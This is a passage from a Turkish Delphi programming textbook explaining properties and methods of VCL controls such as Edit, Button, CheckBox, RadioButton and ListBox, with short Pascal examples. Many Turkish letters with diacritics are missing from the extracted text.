Edit1.Anchors Formun boyutlarnn deitirilmesi durumunda Edit kontrolnnde ayn oranda boyut deitirip deitirmeyeceini belirleyen zelliidir.

Properties penceresinden deitirebileceiniz gibi aadaki ekilde Unit penceresindende deitirilebilir. procedure TForm1.FormCreate(Sender: TObject); begin Edit1.Anchors:=[akLeft,akTop,akRight,akBottom]; end; Edit1.ReadOnly Klavyeden Edit kontrolne veri girilip girilemeyeceini belirleyen zelliidir. Varsaylan deeri false dr, ve karakter girii yaplabilir. ReadOnly zellii true yaplrsa kullanc klavyeden veri girii yapamayacaktr. Properties penceresinden ayarlanabilecei gibi, aadaki ekilde Unit penceresinden de deitirilebilir. procedure TForm1.FormCreate(Sender: TObject); begin Edit1.ReadOnly:=true;//Klavyeden bilgi giriini engelle End; ReadOnly zelliini true yapmak kontrol kullanlmaz hale getirmez. Kodla kontrole veri aktarlabilir, Event lar iletilebilir ve Copy Paste komutlar uygulanabilir.

411

Edit1.Visible Kontroln formun zerinde gzkp gzkmemesini belirleyen zelliidir. Varsaylan deeri true dur ve gzkr haldedir. procedure TForm1.FormCreate(Sender: TObject); begin Edit1.Visible:=true;//kontrol gster end; Edit1.Enabled Bu zellie false deerini aktarrsanz Edit kontrolnen tm zeliklerini kullanma kapatrsnz. Copy-Paste yaplamaz, cursor ierisine tklanamz vs. procedure TForm1.FormCreate(Sender: TObject); begin Edit1.Enabled:=false; end; Edit1.MaxLength Edit kontrol ierisine klavyeden girebileceiniz maximum karakter saysn belirleyen zelliidir. Bu zellik sadece klavyeden giriler iin etkilidir. Kodla istenilen uzunlukta ierik aktarlabilir. procedure TForm1.FormCreate(Sender: TObject); begin Edit1.MaxLength:=6;//max 6 karaktere izin ver end; Edit1.TabStop Sadece Tab tuuna has bir zelliktir.Tab tuuyla Edit kontrolne cursor un braklp, braklamayacan belirleyen zelliidir. Varsaylan deeri true dur ve cursor Edit kontrolne eninde sonunda urayacaktr. procedure TForm1.FormCreate(Sender: TObject); begin Edit1.TabStop:=false;//Edit1 kontrolne urama end; 412

TabStop zelliine false deerini aktarmnz sadece tab tuu iin etkilidir. Mous ile veya kodla cursor Edit kontrolne braklabilir. Edit1.TabOrder Yine Tab tuuna has bir zellik. Kontrol elemanlarn formunuzun zerine yerletirdiiniz zaman, yerletirilme srasna gre kkten bye doru numara alrlar. Bu numaralar TabOrder zelliinde tutulurlar. Tab tuu geilerinde Delphi bu numaralara bakarak, bir sonra ki cursorn urayaca kontrol belirleyecektir. procedure TForm1.FormCreate(Sender: TObject); begin Edit1.TabOrder:=20; end; Edit1.Cursor Cursor Edit kontrolnn zerine geldii anda alaca ekli belirleyen zelliidir. Alabilecei tm seenekler aada verilmitir.
Cursor crDefault crNone crArrow crCross crIBeam crSize crSizeNS crSizeNWSE crSizeWE crUpArrow crHourGlass crDrag crNoDrop crHSplit crVSplit crSQLWait crNo crHelp crSizeAll crAppStart crHandPoint crSizeNESW = TCursor(0); = TCursor(-1); = TCursor(-2); = TCursor(-3); = TCursor(-4); = TCursor(-22); = TCursor(-6); = TCursor(-7); = TCursor(-8); = TCursor(-9); = TCursor(-10); = TCursor(-11); = TCursor(-13); = TCursor(-14); = TCursor(-15); = TCursor(-16); = TCursor(-17); = TCursor(-18); = TCursor(-19); = TCursor(-20); = TCursor(-21); = TCursor(-22); = TCursor(-12); Sonu

crMultiDrag

413

Properties penceresinden deitirebileceiniz gibi, aadaki ekilde Unit penceresinden de deitirilebilir. procedure TForm1.FormCreate(Sender: TObject); begin Edit1.Cursor:= crHourGlass;//cursor u deitir end; Bu zellii daha iyi anlayabilmeniz iin aadaki rnei yapalm. Uygulama iin Formunuzun zerine bir adet Timer kontrol yerletirin ve Interval deerine 100 girin. Ardndan aadaki kodu Unit pencerenize ekleyiniz. procedure TForm1.Timer1Timer(Sender: TObject); {$j+}//eklemeyi unutmaynz Const i:Integer=0; begin if i<-22 then i:=0//baa dn else begin Form1.Cursor:=i; Dec(i); end; end; Programnz altrp cursor u formun zerine getirin ve bekletin. Tm seeneklerin arka arkaya grntlendiini greceksiniz. Edit1.Left Kontroln Formun sol kesine olan mesafesini tutan zelliidir. Bu deerin 0 olmas aadaki gibi bir grntnn olumasn salar (tam sola dayal).

414

procedure TForm1.Button1Click(Sender: TObject); var sola:Integer; begin sola:=Edit1.Left-10; Edit1.Left:=sola;//10 birim sola yana end; Edit1.Top Edit kontrolnn st kesinin, formun st kesine olan mesafesini tutan zelliidir. procedure TForm1.FormCreate(Sender: TObject); begin Edit1.Top:=0;//En ste yap end; Aadaki ekilde bir rnekle Edit kontroln formun zerinde dikey hareket ettirebilirsiniz.

procedure TForm1.Button2Click(Sender: TObject); //Yukar var deger:Integer; begin deger:=Edit1.Top-10; // 10 birim yukar Edit1.Top:=deger; end;

415

procedure TForm1.Button3Click(Sender: TObject); //Aa var deger:Integer; begin deger:=Edit1.Top+10; // 10 birim aa Edit1.Top:=deger; end; imdi programnz altrp button kontrollerine tklayn. Edit kontrolnzn aa veya yukar hareket ettiini greceksiniz. Edit1.BorderStyle Edit kontrolnn boyutlu grntsn belirleyen zelliidir. Alabilecei deerler aada verilmitir.
BorderStyle bsSingle bsNone Dz bir Grnt verir Sonu boyutlu grnm verir

Properties penceresinden deitirilebilecei gibi aadaki gibi bir kodla Unit penceresinden de deitirilebilir. procedure TForm1.FormCreate(Sender: TObject); begin Edit1.BorderStyle:=bsNone;//dz grntl yap end; Edit1.Width Kontroln yatay uzunluunu tutan zelliidir. Properties penceresinden deitirilebilecei gibi, aadaki gibi Unit penceresinden de deitirilebilir. procedure TForm1.Button4Click(Sender: TObject); var deger:Integer; begin deger:=Edit1.Width+10;//10 birim artr Edit1.Width:=deger; end; 416

Edit1.Height Kontroln dey yndeki uzunluunu belirleyen zelliidir. Properties penceresinden belirlenebilecei gibi, aadaki ekilde Unit penceresinden de deitirilebilir.

procedure TForm1.Button4Click(Sender: TObject); var deger:Integer; begin deger:=Edit1.Height+10;//10 birim artr Edit1.Height:=deger; end; Olayn daha iyi anlalmas asndan, Formunuzun zerine bir adet Timer kontrol yerletirip Interval zelliine 100 deerini giriniz. Ardndan bir Adet Edit kontrol yerletirip aadaki tasarm oluturunuz.

417

Aadaki kod satrlarnda Unit pencerenize ekleyip uygulamanz altrnz. procedure TForm2.Timer1Timer(Sender: TObject); {$j+}//Eklemeyi unutmaynz. const yon:Boolean=false; begin if yon=false then begin if Edit1.Width>=Form2.Width then yon:=true else begin Edit1.Width:=Edit1.Width+50; Edit1.Height:=Edit1.Height+25; end; end else begin if Edit1.ClientWidth<=50 then yon:=false else begin Edit1.Width:=Edit1.Width-50; Edit1.Height:=Edit1.Height-25; end end end;

Programnz altrdktan sonra Edit kontrolnzn yatay ve dikey boyutlarnn Formun boyutlarna ulaana kadar arttn, daha sonrada azalmaya baladn basit bir animasyonla grm olmalsnz. Edit1.Font.Style Kontrole ait Font Style seeneklerini belirleyen zelliktir (Bold,Italic,Underline vs). Aadaki ekilde Unit penceresinden mdahale edebilirsiniz. procedure TForm1.Button5Click(Sender: TObject); begin Edit1.Font.Style:=Edit1.Font.Style+[fsBold,fsItalic];//bold ve italic zellii //ekle

418

end; Edit1.Font.Size Edit kontrolnn ierisindeki yaznn bykln ayarlayan zelliidir. Properties penceresinden ayarlanabilecei gibi Unit penceresinden de aadaki ekilde kolayca deitirilebilir. Dier Font zellikleride ayn mantkla belirlendikleri iin onlara rnek verilmeyecektir. procedure TForm1.Button5Click(Sender: TObject); begin Edit1.Font.Size:=24; end; Edit1.SetFocus Cursor u Edit kontrolne geirmek iin kullanlan method dur. Sadece Unit penceresinden deitirilebilir. procedure TForm1.FormActivate(Sender: TObject); //SetFocus ilemini Create yordamna yazmayn begin Edit1.SetFocus;//Cursor u Edit1 e gnder end; Edit1.CanFocus Gzkmeyen veya kullanlamayan bir kontrole SetFocus ilemi yapamazsnz. Bu yzden ncelikle SetFocus ileminin o kontrol iin yaplp yaplamadn CanFocus methoduyla kontrol ettirmelisiniz. Bu methoddan geriye true deeri dnerse SetFocus ileminin yaplabilecei anlam kmaktadr. procedure TForm1.Button6Click(Sender: TObject); begin if Edit1.CanFocus then Edit1.SetFocus else ShowMessage('Edit1 kullanlamaz Halde'); end;

419

SetFocus ileminden nce her zaman CanFocus methodunu kullanmalsnz. Bu yntem oluabilecek hatalar engelleyecektir. Edit1.Focused Cursorun Edit kontrolnn ierisinde olup olmadn kontrol edebilen bir methoddur. Methoddan geriye true deerinin dnmesi Cursorun kontroln ierisinde olduu anlamn tamaktadr. Basit bir Idle olay (daha nce izah edildi) yaratarak hangi kontroln aktif olduunu tesbit edebilirsiniz. Edit1.SelText Edit kontrol ierisinde seili metni renmek veya deitirmek iin kullanlan bir methoddur. procedure TForm1.Button7Click(Sender: TObject); begin Form1.Caption:=Edit1.SelText;//seili alan yaz end; Dilerseniz methodu aadaki ekilde de kullanabilirsiniz. procedure TForm1.Button7Click(Sender: TObject); begin Edit1.SelText:='Nihat Demirli';//seili alana ata end; Bu durumda Edit kontrolnzdeki seili metnin yerine Nihat Demirli yazacaktr. Edit1.SelLength Kontrol ierisinde seili karakterlerin olup olmadn belirleyen zelliidir. Kullanmna ait rnek aada verilmitir. procedure TForm1.Button7Click(Sender: TObject); var karakter:Integer; begin 420

karakter:=Edit1.SelLength;//ka karakter seili Form1.Caption:='Seili '+IntToStr(karakter)+' Eleman Var'; end; Edit1.SelStart Kontroln ierisinde bloklamaya kanc karakterden balanacan belirleyen zelliidir. Aadaki tasarm oluturup Unit penceresine gerekli kodlar ekleyiniz.

procedure TForm3.Button1Click(Sender: TObject); var adet,karakter,baslangic, i,say:Integer; dizi:Array of AnsiString; begin adet:=Length(Edit1.Text);//ka karakter var SetLength(dizi,adet); for i:=0 to adet-1 do dizi[i]:=copy(Edit1.Text,i+1,1);//Btn karakterleri diziye aktar i:=0; say:=0; Repeat if dizi[i]=' ' then //karakter space ise begin if say<1 then baslangic:=i+1 else begin karakter:=i+1; break; end; inc(say); end; inc(i); Until i>adet-1; 421

Edit1.SetFocus; Edit1.SelStart:=baslangic; Edit1.SelLength:=karakter-baslangic;end; Program altrdktan sonra button kontrolne tklarsanz, iki boluk arasndaki tm ierik bloklanacaktr. Edit1.Clear Kontroln ieriini temizlemek iin kullanlan zelliidir. procedure TForm3.Button2Click(Sender: TObject); begin Edit1.Clear ;//Temizle end; Edit1.AutoSelect True veya False deeri alabilen bu zellik sayesinde, kontrol Edit e getii anda ieriinin tamamnn seilip seilemeyeceini belirleyen zelliidir. Varsaylan deeri true dur ve aktifletii anda tm ierik seilir. procedure TForm3.FormCreate(Sender: TObject); begin Edit1.AutoSelect :=true; end; Edit1.Hint Mous kontroln zerinde hareketsiz kalrsa kullancnn grmesi iin alan baloncuun ierii bu zellikle belirlenir. Edit1.ShowHint Hint zelliindeki ieriin balancukta gzkebilmesi iin ShowHint zelliinede true deerinin aktarlmas gerekmektedir. Aksi takdirde baloncuk asla almayacaktr. procedure TForm3.FormCreate(Sender: TObject); begin Edit1.Hint:='Kursun Adn Gir'; Edit1.ShowHint:=true; 422

end;

Edit1.SelectAll Kontroln ieriini komple semek iin kullanlan methodudur. Sadece Unit penceresinden deitirilebilir. procedure TForm3.FormCreate(Sender: TObject); begin Edit1.SelectAll ;//Tmn se end; Edit1.Free Kontrol projeden atmak iin kullanlan methoddur. Artk bu kontrol Show ile gsterilemez. procedure TForm3.Button3Click(Sender: TObject); begin Edit1.Free;//formdan at end; TEdit.Create(kontrol) Yeni kontrol oluturmak iin kullanlan Methoddur. Aadaki ekilde kolayca yeni Edit kontrolleri yaratabilirsiniz. procedure TForm3.Button3Click(Sender: TObject); var yeniText:TEdit; begin yeniText:=TEdit.Create(Form3);//Edit yarat yeniText.Parent:=Form3; end; Ayn mantkla dier kontrollerden de kolayca yaratmanz mmkndr. Deitireceiniz tek ey Tedit yerine dier kontroln tretilecei snf belirlemek olacaktr.

423

Edit1.GetTextLen Kontroln ierisindeki karakter saysn veren zelliidir. Kullanmna ait rnek aada verilmitir. procedure TForm1.FormCreate(Sender: TObject); var karakter:Integer; begin karakter:=Edit1.GetTextLen;//Ka karakter var Form1.Caption:='Edit erisinde '+IntToStr(karakter)+' Karakter Var'; end; Edit1.CutToClipboard Kontroln ieriini Clipboard a gnderen zelliidir. Bu ilem yapldktan sonra herhangi bir uygulamadan Paste komutu verilirse gnderilen veriye ulalabilir. procedure TForm1.Button2Click(Sender: TObject); begin Edit1.CutToClipboard;//yolla end; Edit1.CopyToClipboard CutToClipboard ile ayn ii yapar tek fark kontrol ierisindeki ierik kaybolmayacaktr. procedure TForm1.Button2Click(Sender: TObject); begin Edit1.CopyToClipboard;//yolla end; Edit1.PasteFromClipboard Clipboard daki bilgiye bu komutla ulalabilr. Verinin nereden gnderildii nem arz etmez. procedure TForm1.Button2Click(Sender: TObject); begin Edit1.PasteFromClipboard;//edite yaptr end;

424

Button Kontrol: Dillerin en popler tetikleyicisi sanyorum bu kontroldr. Aada zellikleri aklanmaktadr. Dikkatlice inceleyiniz. Button1.Caption Button zerinde gsterilecek olan etiket bu zellikle belirlenir, veya renilebilir.

procedure TForm1.FormCreate(Sender: TObject); begin Button1.Caption:='Print'; end Ayn kodu aadaki gibi deitirin. procedure TForm1.FormCreate(Sender: TObject); begin Button1.Caption:='&Print';//ksayol tuu belirlendi end; procedure TForm1.Button1Click(Sender: TObject); begin ShowMessage('Prestige Education Center'); end; & karakteri ksayol tuu belirlemek iin kullanlmaktadr. Peki ne yaptk imdi, hemen izah edelim. Burada P (& Hangi karakterin solundaysa) karakteri ksayol tuu olarak belirlendi. imdi herhangi bir zamanda Alt+P tularna beraberce baslrsa bu button otomatik olarak Click lenmi olacak, 425

dolaysyla OnClick yordamnda yazlm olan kod iletilecektir. Yukardaki rnek iin Alt+P tuuna beraberce baslrsa Prestige Education Center mesaj kullancya iletilecektir. Button1.Cancel Aktiflik dier kontrollerde olmasna ramen Esc tuuna baslmas durumunda OnClick yordamndaki kodun iletilmesini salayan zelliidir. True deerini almas, Esc tuuna baslmasyla kodun iletilecei anlamn tamaktadr. procedure TForm1.FormCreate(Sender: TObject); //Esc tuuna basnca Button1 ilesin begin Button1.Cancel:=true;//Esc tuu button1 i iletsin end; procedure TForm1.Button1Click(Sender: TObject); begin ShowMessage('Prestige Education Center'); end; Program altrp Esc tuuna basarsanz Prestige Education Center mesaj kullancya iletilecektir. Burada hatrlatalm ayn anda iki buttonun Cancel zellii true olamaz. Button1.Default Bu zellik yukardaki ilemi Esc tuuyla deilde Enter tuuyla yapmak iin kullanlr. Yani hangi buttonun Default zelliine true deeri aktarlrsa klavyeden Enter tuuna basld zaman, o button Click lenmi olacaktr. procedure TForm1.FormCreate(Sender: TObject); //Enter tuuna basnca Button1 ilesin begin Button1.Default:=true;//Enter tuu button1 i iletsin end; procedure TForm1.Button1Click(Sender: TObject); begin ShowMessage('Prestige Education Center'); end;

426

Hatrlatalm ayet kontrol baka bir buttonda (baka bir button aktifken) iken Enter tuuna basarsanz aktif buttonun OnClick yordam ileyecektir. Bu zelliin alabilmesi iin kontroln Button dnda baka bir kontrolde olmas gerekmektedir. Button1.WordWrap True veya False deeri alabilen bu zellie, true deeri aktarlrsa birden fazla satrl etiket oluturulabilir. Aadaki rnekte bu zellie true deeri aktarlmtr.

procedure TForm1.FormCreate(Sender: TObject); begin Button1.WordWrap:=true;// birden fazla satrl yazya izin ver end; Burada hatrlatalm, bu kontroln zerine resim yerletirilememektedir. Bu yzden Additional yapranda bulunan BitBtn kontroln kullanmalsnz. Button1.Enabled Bu zellie False deerini aktarrsanz, button kontrolne tklayamaz dier hibir zelliini kullanamazsnz.

procedure TForm1.FormCreate(Sender: TObject); begin Button1.Caption:='&Printere Yolla'; 427

Button1.Enabled:=false;//Kontrol pasif yap end;

BitBtn Kontrol: Bu kontrole ait extra zellikleri aada aklamaya alacam. Dier button kontrolne ait bir ok zellik aynen kullanlabilmektedir. Bitbtn1.Glyph Kontroln zerine aktaracanz resmi bu zellikle belirleyebilirsiniz. Resim herhangi bir formatta olamaz (bmp tercih edin). imdi properties penceresinden bu zellie tklayarak aadaki pencerenin almasn salaynz.

Bu pencerede Load buttonuna tklayp istediiniz resmi bulun ve OK buttonuna tklayn. Ekran grntnz aadaki gibi olacaktr. ayet resmi kodla aktarmak isterseniz (Bitbtn1.Glyph.LoadFromFile('C:\Program Files\Common Files\delphi.bmp')); eklinde bir kod satr kullanmalsnz.

428

BitBtn1.Layout Bu zellikle de eklemi olduunuz resmin yaznn neresinde bulunmas gerektiini belirleyebilirsiniz. Alabilecei seenekler aada verilmitir.
Layout blGlyphRight blGlyphBottom blGlyphLeft blGlyphTop Yaznn sanda Yaznn Altnda Yaznn solunda Yaznn zerinde Sonu

procedure TForm2.FormCreate(Sender: TObject); begin BitBtn1.Layout:=blGlyphRight;//yaznn snda end; Evet grdnz gibi ierisinde resim bulundurabilen buttonlardan oluturmak son derece kolay. Dme kontrolleri iin sanyorun BitBtn seeneini tercih etmeniz doru olacaktr.

429

CheckBox Kontrol: Bu kontrol evet-hayr veya Doru-Yanl durumlarn gsterebilmek iin kullanlan Componenttir. Aada bu kontrole ait zellikler verilmektedir, dikkatlice inceleyiniz. CheckBox1.Caption Etiket deerini tutan zelliidir. CheckBox kontrolnn ne ie yarad bu etikette belirtilir. procedure TForm2.FormCreate(Sender: TObject); begin CheckBox1.Caption:='Medeni Hali'; end; CheckBox1.Alignment Etiketin solda veya sada olmasn belirleyen zelliidir. Alabilecei seenekler aada verilmitir.
Alignment taRightJustify taLeftJustify Yaznn sanda Yaznn solunda Sonu

Unit penceresinden deitirmek isterseniz aadaki ekilde bir kodlama yapmalsnz.

procedure TForm2.FormCreate(Sender: TObject); begin CheckBox1.Caption:='Medeni Hali'; CheckBox2.Caption:='Cinsiyeti'; CheckBox1.Alignment:=taRightJustify ;//sada CheckBox2.Alignment:=taLeftJustify;//solda end; 430

CheckBox1.Checked Kontroln iaretli olup olmad, veya iaretini deitirmek iin kullanlan zelliidir. Sanyorum en nemli zellii budur ve mous ile tklannca iareti otomatik olarak deiir.

procedure TForm3.FormCreate(Sender: TObject); begin CheckBox1.Checked:=true; CheckBox3.Checked:=true; end; Aadaki rnekte bilinen her yabanc dilin maa %10 artraca varsaylmtr. Edit1 kontrol ierisinde personelin standart maa yazlmakta, hesapla dmesine tklannca da zaml maa miktar Edit2 kontrol ierisine aktarlmaktadr.

Uygulamanz iin aadaki kod satrlarn formunuza ekleyip altrnz. Her iaretlediiniz CheckBox n maaa %10 etki yaptn greceksiniz. 431

procedure TForm3.Button1Click(Sender: TObject); var zam:Integer; maas,yenimaas:Currency; begin zam:=100; maas:=StrToFloat(Edit1.Text); if CheckBox1.Checked then inc(zam,10); //%10 artr if CheckBox2.Checked then inc(zam,10); //%10 artr if CheckBox3.Checked then inc(zam,10); //%10 artr yenimaas:=maas*zam/100; Edit2.Text:=FloatToStr(yenimaas); end;

432

RadioButton Kontrol: CheckBox kontrol ile ayn mantkta ilem yapar. Aralarndaki fark form zerindeki RadioButton kontrollerinden sadece bir tanesinin iaretlenebileceidir (istisnalar vardr). Dier kontrol iaretlemeye kalkarsanz aktif olan kontrol iaretini kaybedecektir.

Forma dikkat edecek olursanz ahsn mezun olduu niversite bir tane olaca iin (ii abartanlar hari) tek bir tanesi iaretlenebilmektedir. Dierini iaretlerseniz nceki aktiflik zelliini yitirecektir. RadioButton1.Checked Kontroln iaretli olup olmad bu zellikle renilebilir veya deitirilebilir. procedure TForm4.FormCreate(Sender: TObject); begin RadioButton2.Checked:=true; end; RadioButton1.Ctl3D Kontroln boyutlu olup olmamasn salayan zelliidir. Varsaylan deeri true dur ve boytulu grnm vardr. procedure TForm4.FormCreate(Sender: TObject); begin RadioButton1.Ctl3D:=true; end;

433

GroupBox Kontrol: Ayn form zerinde birden fazla RadioButton kontrolnn iaretlenemediini yukarda belirtmitik. Peki ya byle bir durumla karlarsanz. Yani Ayn form zerinde hem medehi hali, hemde Kdv oran diye iki ilgisiz durum olursa o zaman ne yapacaksnz. te bu tip durumlarn zmlerinde ayr ayr iki GroupBox kontrol kullanmalsnz. Her GroupBox ierisinde bir tane RadioButton kontroln iaretleyebilirsiniz.

Yukardaki formda dikkat ettiyseniz iki tane ayr RadioButton kontrol iaretlenebildi. Her GroupBox ierisinde bir RadioButton unu iaretliyebilirsiniz. Bu kontrol ayn zamanda dier kontrollerin daha estetik gzkmesini de salamaktadr. Arya kamamak artyla bolca kullanabilirsiniz. GroupBox1.Caption GroupBox kontrolnn renebilirsiniz. etiket deerini buradan belirleyebilir veya

procedure TForm5.FormCreate(Sender: TObject); begin GroupBox1.Caption:='Eitimin Ad'; end; imdi daha gelimi bir rnek yaparak kontrole ait bilgilerinizi kaynatralm. Aadaki tasarm oluturup gerekli olan kodlar Unit pencerenize ekleyiniz. 434

procedure TForm5.FormCreate(Sender: TObject); begin RadioButton1.Checked:=true; RadioButton5.Checked:=true; CheckBox1.Checked:=true; end; procedure TForm5.Button1Click(Sender: TObject); var katsayi,kdvorani:Integer; fiyat:Currency; begin katsayi:=100; if CheckBox1.Checked then Dec(katsayi,20);//20 azalt if RadioButton5.Checked then kdvorani:=20 else kdvorani:=25; if RadioButton1.Checked then fiyat:=2000*(kdvorani+katsayi)/100 else if RadioButton2.Checked then fiyat:=1500*(kdvorani+katsayi)/100 else if RadioButton3.Checked then fiyat:=2500*(kdvorani+katsayi)/100 else if RadioButton4.Checked then fiyat:=4000*(kdvorani+katsayi)/100;

435

Edit1.Text:=FloatToStr(fiyat);end; Program altrdktan sonra Fiyat Belirle buttonuna tklarsanz, aadaki gibi bir deer elde edersiniz. Dikkatlice inceleyiniz.

436

Panel Kontrol: Estetik grn ve gruplandrma amal kullanlan bir kontroldr. Aada kullanlabilen zelliklerinden bahsedilmektedir. Panel1.BorderStyle Panel in boyutlu grntsn ayarlayan zelliidir. Aada alabilecei seenekler verilmitir.
BorderStyle bsSingle bsNone Keler boyutlu Dz Sonu

Formunuza bir adet Panel ekleyip Align zelliine alClient deerini girin, ardndan BorderStyle zelliine de bsSingle deerini girin, imdi programnz altrrsanz son derece estetik bir grnm elde edersiniz.

procedure TForm6.FormCreate(Sender: TObject); begin Panel1.BorderStyle:=bsSingle;//keler boyutlu olsun end;

437

ListBox Kontrol: Alt alta satrlarn girilebildii bir kontroldr. Bir ok zellii bulunmaktadr. Aada bu zellikler detayl olarak incelenmektedir. ListBox1.Items Satrlarla ilgili tm ilemleri yapabileceiniz zelliidir. ListBox1.Items.Add ListBox kontrolne satr eklemek iin kullanlan methoddur. Eklenen veri string tip bir deikenin deeri olabilmektedir

procedure TForm1.Button1Click(Sender: TObject); begin ListBox1.Items.Add('Prof.Dr.Nihat Demirli'); ListBox1.Items.Add('Prof.Dr.Yksel nan'); end; ayet eklenecek olan string tipte bir deikenin deeri ise o zaman aadaki gibi bir kodlama kullanmalsnz. Burada yeri gelmiken hatrlatalm, listeye eklenecek olan veri saysal veya tarihsel bir deer ieriyorsa o zaman tip dntrme fonksiyonlarndan faydalanmanz gerekecektir. Aksi takdirde yazdrma ileminiz baarszlkla sonulanacaktr. 438

procedure TForm1.Button1Click(Sender: TObject); var deger:AnsiString; begin deger:=Edit1.Text; ListBox1.Items.Add(deger);//ekle end; Eer ekleyeceiniz saysal ierikli bir deikenin deeriyse o zaman aadaki ekilde bir kodlama kullanmalsnz. procedure TForm1.Button2Click(Sender: TObject); var sayi:Integer; begin sayi:=5555; ListBox1.Items.Add(IntToStr(sayi));//sayy ekle end; ListBox1.Items.Assign Birden fazla eleman ayn anda listeye eklemek iin kullanlan zelliidir. Eklenecek deikenlerin tipi Tstrings olmaldr. Yine yeri gelmiken hatrlatalm Tstrings yaps birden fazla elman barndrmak iin kullanlan bir yapdr. Aktarlacak olan deerlerin tipleri isminden de anlalaca gibi string olmak zorundadr. Baka tipte bir ierie sahip deiken deerini aktarmaya kalkrsanz muhtemelen hatayla karlaacaksnz. Aada bu zellie ait rneklendirme yaplmtr. Dikkatli ce inceleyip anlamaya alnz.

439

procedure TForm1.Button3Click(Sender: TObject); var liste: TStrings; begin liste := TStringList.Create;//listeyi yarat try with liste do begin Add('Ankara'); //listeye ekle Add('stanbul'); Add('zmir'); Add('Antalya'); Add('Mula'); Add('Samsun'); end; with ListBox1 do begin Items.Assign(liste);//listeyi komple ekle ItemIndex := 0; end; finally liste.free;//bellekten at end; end; ListBox1.Items.Clear ListBoxn ieriini temizlemek iin kullanlan methoddur. Listenin ierisinde yer alan tm satrlarn silinmesini salayacaktr. Aada bu methoda ait rneklendirme yaplmtr.

440

procedure TForm1.Button4Click(Sender: TObject); //Temizle begin ListBox1.Items.Clear; end; ListBox1.Items.Count Liste ierisinde yer alan satr saysn veren zelliidir. ayet liste ierisinde yelerinizin isimlerini tutuyorsanz bu komutla ye saynz kolayca hesaplayabilirsiniz. procedure TForm1.Button4Click(Sender: TObject); var sayi:Integer; begin sayi:= ListBox1.Items.Count;//ka satr var Form1.Caption:='Listede '+ IntToStr(sayi)+ ' ye Var'; // balkta yaz end; ListBox1.Items.IndexOf Parametre ile girilen string deikenin kanc satrda olduunu hesaplayabilen bir methoddur. Hatrlatalm ilk satrn numaras 0 dr.

Yukardaki rnek iin Antalya ehrinin kanc satrda olduu aranarak, balkta yazmas salanmaktadr. Aranacak olan deer ayet string dnda bir veri ieriyorsa o zaman tip dntrme fonksiyonlarndan faydalanmak zorundasnz. 441

procedure TForm1.Button4Click(Sender: TObject); var sayi:Integer; begin sayi:=ListBox1.Items.IndexOf('Antalya');//Antalya kanc satrda Form1.Caption:='Setiiniz Eleman ' + IntToStr(sayi+1)+ ' . Srada'; end; ayet aranacak olan string Edit kutusundan belirlenecekse o zaman aadaki ekilde bir kodlama kullanmalsnz.

procedure TForm1.Button4Click(Sender: TObject); var sayi:Integer; begin sayi:=ListBox1.Items.IndexOf(Edit1.Text); Form1.Caption:='Setiiniz Eleman ' + IntToStr(sayi+1)+ ' . Srada'; ListBox1.ItemIndex:=sayi;//aktif yap end; rnekte Edit kutusuna girilen ehir (zmir) aranmakta listedeki sra numaras da balkta yazmaktadr. ListBox1.Items.Insert Listeye yeni satr eklemek iin kullanlan methoddur. Eklenecek veri mutlaka string tipte bir deer iermelidir. Aksi takdirde ileminiz baarszlkla sonulanacaktr.

442

procedure TForm1.Button5Click(Sender: TObject); begin ListBox1.Items.Insert(2,'Rize'); end; lk satrn numarasnn 0 olduunu tekrar hatrlatalm. imdi de Edit kontrolne girilen metni listeye eklemek iin kullanmanz gereken kodlamay verelim.

procedure TForm1.Button5Click(Sender: TObject); var deger:AnsiString; begin deger:=Edit1.Text; ListBox1.Items.Insert(2,deger); //3. satra ekle end; ListBox1.Items.Delete Parametre ile belirtilen satr listeden silmek iin kullanlan methoddur. lk satrn numarasnn 0 olduunu tekrar hatrlatalm. procedure TForm1.Button6Click(Sender: TObject); begin ListBox1.Items.Delete(2);//3. satr sil end; ayet silinecek olan satr numaras bir deikenden alnacaksa o zaman aadaki ekilde bir kodlama kullanmalsnz. 443

procedure TForm1.Button6Click(Sender: TObject); var satir:Integer; begin satir:=StrToInt(Edit1.Text); ListBox1.Items.Delete(satir);//girilen satr sil end; Aadaki rnekte Edit kutusuna girilen ierik listede aranarak, bulunduu satr silinmektedir. Dikkatlice inceleyiniz.

Uygulamaya ait tm kod paras aada verilmitir. procedure TForm1.Button6Click(Sender: TObject); var satir:Integer; deger:AnsiString; begin satir:=-1; deger:=Edit1.Text; satir:=ListBox1.Items.IndexOf(deger);//kanc satrda if satir<>-1 Then //eer satr bulunursa sil begin ListBox1.Items.Delete(satir);//sil ShowMessage('Satr Silindi'); end else ShowMessage('Kayt Bulunamad'); end;

444

Aadaki rnekte Edit kontrolne girilen metin listede aranarak, ayn olan tm satrlar silinmektedir.

Satrlar silindikten sonraki ekran grnts aada verilmitir. Silinen satr saysnn kullancya iletildiine dikkat ediniz.

Programa ait tm kod paras aada verilmitir. Tm satrlar dikkatlice inceleyiniz. procedure TForm1.Button7Click(Sender: TObject); //Tmn Sil var satir,adet:Integer; deger:AnsiString; begin satir:=0; adet:=0; deger:=Edit1.Text; 445

Repeat if ListBox1.Items[satir]=deger Then begin ListBox1.Items.Delete(satir); Dec(satir);//Bir azalt inc(adet); end; Inc(satir); Until satir>ListBox1.Items.Count-1; if adet>0 then ShowMessage('Toplam '+IntToStr(adet)+' Satr Silindi') else ShowMessage('Kayt Bulunamad'); end; ListBox1.Items.Append Liste ierisine yeni satr eklemek iin kullanlan bir methoddur. Aada bu method rneklendirilmitir. procedure TForm1.Button9Click(Sender: TObject); begin ListBox1.Items.Append(Edit1.Text); end; Aadaki rnekte liste ierisindeki satrlar kontrol edilerek var olan bir elemann listeye eklenmesi engellenmektedir.

Programa ait tm kod blou aada verilmitir. Dikkatlice inceleyip uygulaynz. 446

